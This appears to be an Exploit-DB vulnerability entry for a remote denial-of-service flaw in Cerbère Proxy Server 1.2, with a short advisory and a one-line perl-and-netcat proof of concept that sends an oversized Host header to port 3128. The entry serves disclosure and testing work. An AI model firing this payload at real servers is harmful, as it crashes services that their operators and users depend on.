Cerbere Proxy Server 1.2 - Long Host Header Field Remote Denial of Service

EDB-ID:

24423

CVE:

N/A


Author:

GSS IT

Type:

dos


Platform:

Multiple

Date:

2004-09-01


source: https://www.securityfocus.com/bid/11085/info

Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.

A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.

Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128